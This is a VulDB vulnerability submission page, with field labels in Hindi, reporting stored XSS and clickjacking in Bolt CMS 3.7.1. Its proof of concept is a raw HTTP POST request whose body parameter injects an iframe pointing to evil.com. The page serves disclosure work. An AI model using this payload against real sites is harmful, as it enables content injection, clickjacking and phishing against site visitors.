| शीर्षक | Bolt Bolt CMS 3.7.1 XSS + Clickjacking |
|---|
| विवरण | Bolt CMD 3.7.1 with an authenticated user, when editing or creating a new page, allows for the abuse of the <body> parameter, creating clickjacking codes such as "<iframe src='http://example.com'></iframe>" to bring other vulnerable pages into the application.
----[ request ]----
POST /bolt/editcontent/pages/1 HTTP/1.1
Host: localhost:8000
content_edit%5B_token%5D=qgP6ENohJpsNrB99orM9JijZHrhORim4r3SfGQwy9qk&editreferrer=&contenttype=pages&title=Teste+01&slug=teste-01&image%5Bfile%5D=&teaser=%3Cp%3EAAAAAAAA%3C%2Fp%3E%0D%0A&body=%3Ciframe+src%3D%22http%3A%2F%2Fevil.com%22%3E%3Ciframe%3E%0D%0A&template=&taxonomy%5Bgroups%5D%5B%5D=&taxonomy-order%5Bgroups%5D=0&id=1&status=published&datepublish=2024-07-25+19%3A57%3A57&datedepublish=&ownerid=1&_live-editor-preview=&content_edit%5Bsave%5D=undefined |
|---|
| उपयोगकर्ता | xMirandax (UID 72454) |
|---|
| सबमिशन | 25/07/2024 11:06 PM (2 साल पहले) |
|---|
| संयम | 04/08/2024 08:06 AM (9 days later) |
|---|
| स्थिति | प्रतिलिपि |
|---|
| VulDB प्रविष्टि | 273167 [Bolt CMS 3.7.1 Entry Preview /preview/page body क्रॉस साइट स्क्रिप्टिंग] |
|---|
| अंक | 0 |
|---|